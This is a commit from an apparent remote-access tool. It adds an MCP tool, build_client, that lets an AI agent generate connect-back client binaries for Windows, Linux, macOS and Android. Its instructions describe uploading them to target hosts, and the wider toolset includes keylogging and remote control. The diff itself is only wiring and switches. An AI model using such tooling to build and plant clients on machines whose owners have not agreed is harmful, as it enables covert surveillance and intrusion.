Feature: add build_client MCP tool and improve build dialog linkage

Add a service-local MCP tool, build_client, that patches a client template
with this master's connect settings and writes the binary on the server.
It covers ghost/TestRun/ServerDll/TinyRun plus Linux, macOS and Android,
reusing the same byte path as CBuildDlg::OnBnClickedOk (CONNECT_ADDRESS
overwrite, build-date check, embedded TLS anchor before UPX/padding).
ShellCode AES and payload impersonation stay dialog-only.

The tool is gated by a new McpBuild switch (default 0) and McpReadonly=0.
It refuses to overwrite an existing file unless overwrite=true, protects
the server binaries/settings.ini/upx.exe, validates names strictly and
uses a unique UPX temp file so it cannot race the dialog. Results report
the path, size, target, TLS-anchor status and follow-up tips.

In the build dialog, Linux/macOS/Android targets now also grey out the
install-location combo/label and run mode, save and restore the Windows
compress choice, hide payload/download rows, grey the random-name and
run-as-admin menu items, and fix the TLS-anchor label for posix targets.
OnBnClickedOk is untouched; generated output is unchanged for every target.

New UI strings were added to the en_US, zh_TW and de_DE language packs.
McpBuild is off by default and changes require a server restart.
Verified on a Debug x64 instance: MCP generation for Linux is patched
correctly, Android and ghost anchor/error paths behave, and dialog-driven
Linux/TestRun/SC_AES generation still succeeds. mcp/tools.json regenerated
(55 tools); check_platform_table.py passes.

Co-Authored-By: deepseek-flash
This commit is contained in:
yuanyuanxianganddeepseek-flash committed 2026-11-15 20:43:28 +01:00
1 parent 1401ff0a4c
commit 7172ab376d
20 files changed
+1619 -36

No files matched your search

+19 -3
View File
@@ -11,6 +11,7 @@
#include "McpInternal.h" // 共享助手(McpMachine.cpp 也使用)
#include "McpMachine.h" // 主机管理 / 连接管理工具族
#include "McpChat.h" // 远程交谈工具族
#include "McpBuildClient.h" // 生成客户端工具族(build_client)
#include <sstream>
#include <fstream>
@@ -283,12 +284,12 @@ const char* kServerInstructions =
u8"2) 工具的可见性与开关\n"
u8"tools/list 只返回当前服务端开关允许的工具:终端(terminal)、远程控制(remote_control)、"
u8"文件传输(file_transfer)、文件写入(file_write)、管理动作(manage)、主机管理(machine)、键盘记录(keylog)、"
u8"远程交谈(chat)各有独立开关。工具不在列表里通常就不可用,直接调用会被拒(-32006 或 -32005);"
u8"远程交谈(chat)、生成客户端(build)各有独立开关。工具不在列表里通常就不可用,直接调用会被拒(-32006 或 -32005);"
u8"例外是下文提到的降级别名(list_processes / list_windows / list_services、operate_window / "
u8"control_service,以及 list_online_hosts / search_hosts / list_all_hosts 等旧名)——"
u8"它们不在列表里但仍可调用。"
u8"当前开关状态可查 get_server_status 的 switches。只读模式(readonly=true)会挡掉大部分写工具,"
u8"但只改服务端本地数据的 host_set_remark / host_set_watch_level 仍会列出,调用时才被拒;"
u8"但只改服务端本地数据的 host_set_remark / host_set_watch_level / build_client 仍会列出,调用时才被拒;"
u8"get_keylog 只受 McpKeylog 开关控制(与只读模式无关):开关关闭时它不在列表里;只读模式下"
u8"只是它的 clear / set_offline 参数被拒,读取不受影响。\n"
u8"同一能力存在两套工具时优先用主机管理族:host_inspect(aspects 选 processes / windows / "
@@ -350,6 +351,10 @@ const char* kServerInstructions =
u8"HTTP 探测:探主机本机或同网段的接口用 http_probe(只收私网/回环 IP 与 localhost,不给域名,"
u8"不跟随重定向,响应体上限 64KB),不要为此自己写 Invoke-WebRequest / curl;Windows 与 Linux 可用,"
u8"macOS 与 Android 不支持。\n"
u8"生成客户端:用户说「生成一个连某地址的 Linux/Windows 客户端」时用 build_client(需开启 build 开关且关闭只读)。"
u8"它把模板 patch 成本主控的上线配置后写到服务端本机,结果里 path 是服务端路径;要送到目标机再用 upload_file"
u8"(Windows/Linux/macOS 可用,Android 需用户自行安装),但 macOS/Android 的产物还需要重签(结果 tips 会给出命令)。"
u8"host/port 省略时取服务端当前有效主控地址。已存在同名文件默认拒绝,需要覆盖时显式传 overwrite=true。\n"
u8"\n"
u8"5) 客户端平台差异\n"
u8"工具能否执行取决于目标主机的平台,这与服务端开关无关,两者是叠加关系。调用前用 "
@@ -2410,7 +2415,7 @@ std::string BuildToolsListResult(const Json::Value& id) {
{
Json::Value tool(Json::objectValue);
tool["name"] = "get_server_status";
tool["description"] = u8"获取 YAMA 服务端自身的状态:程序版本与 exe 构建时间、进程已运行秒数、MCP 监听地址与端口、各功能开关(只读/终端/远程控制/文件传输/管理/主机管理/高风险操作/键盘记录/远程交谈)、在线与离线主机数、各类在飞会话数、当前被封禁的来源 IP 数。只读、纯内存,不返回 token。";
tool["description"] = u8"获取 YAMA 服务端自身的状态:程序版本与 exe 构建时间、进程已运行秒数、MCP 监听地址与端口、各功能开关(只读/终端/远程控制/文件传输/文件写入/管理/主机管理/高风险操作/键盘记录/远程交谈/生成客户端)、在线与离线主机数、各类在飞会话数、当前被封禁的来源 IP 数。只读、纯内存,不返回 token。";
Json::Value inputSchema(Json::objectValue);
inputSchema["type"] = "object";
@@ -2812,6 +2817,10 @@ std::string BuildToolsListResult(const Json::Value& id) {
// 独立开关 McpChat(默认关),与 McpReadonly 无关;关闭时不追加任何工具。
McpChat::AppendTools(tools);
// 20b) 生成客户端(build_client):服务端本地工具,独立开关 McpBuild(默认关),
// 另要求 McpReadonly=0;关闭时不追加任何工具。
McpBuildClient::AppendTools(tools);
// 21) 统一补 annotations(A3):只读/破坏性/幂等/开放世界四类提示。
// 放在最后一步,三个注册点(本文件内联、McpMachine、McpChat)一视同仁,
// 以后新增工具只需在 McpInternal.cpp 的 kToolHints 表里登记一行。
@@ -4580,6 +4589,7 @@ std::string BuildGetServerStatus(const Json::Value& id, CMy2015RemoteDlg* parent
switches["machine_dangerous"] = srv.IsMachineDangerousEnabled();
switches["keylog"] = srv.IsKeylogEnabled();
switches["chat"] = srv.IsChatEnabled();
switches["build"] = srv.IsBuildEnabled();
status["switches"] = switches;
int onlineCount = 0, offlineCount = 0;
@@ -11991,6 +12001,9 @@ const ToolPlatform kToolPlatforms[] = {
{ "mcp_cancel_session", kPlatWin|kPlatLnx|kPlatMac|kPlatApk },
{ "host_set_remark", kPlatWin|kPlatLnx|kPlatMac|kPlatApk },
{ "host_set_watch_level", kPlatWin|kPlatLnx|kPlatMac|kPlatApk },
// 生成客户端只在服务端本机写文件,不触达任何主机;平台表按「全平台」登记,
// 门禁因入参没有 id 而直接放行(与其它服务端本地工具相同)。
{ "build_client", kPlatWin|kPlatLnx|kPlatMac|kPlatApk },
// ---- win+lnx+mac ---- SYSTEM / LIST_DRIVE / QUERY_LOG / V2 文件传输
{ "list_processes", kPlatWin|kPlatLnx|kPlatMac },
{ "list_files", kPlatWin|kPlatLnx|kPlatMac },
@@ -12397,6 +12410,9 @@ std::string DispatchSingleHostTool(const Json::Value& id, const std::string& too
// P9:远程交谈工具族(独立开关 McpChat;门控在 McpChat::Call 内复核)。
if (McpChat::Handles(toolName)) return McpChat::Call(id, toolName, args, parent);
// 生成客户端(独立开关 McpBuild + !McpReadonly;门控在 Call 内复核)。
if (McpBuildClient::Handles(toolName)) return McpBuildClient::Call(id, toolName, args, parent);
// P1-1:list_hosts 与三个旧别名共用一个 handler;list_all_hosts 默认为「在线 + 离线」。
if (toolName == "list_hosts") return BuildListHosts(id, args, parent, false);
if (toolName == "list_online_hosts") return BuildListHosts(id, args, parent, false);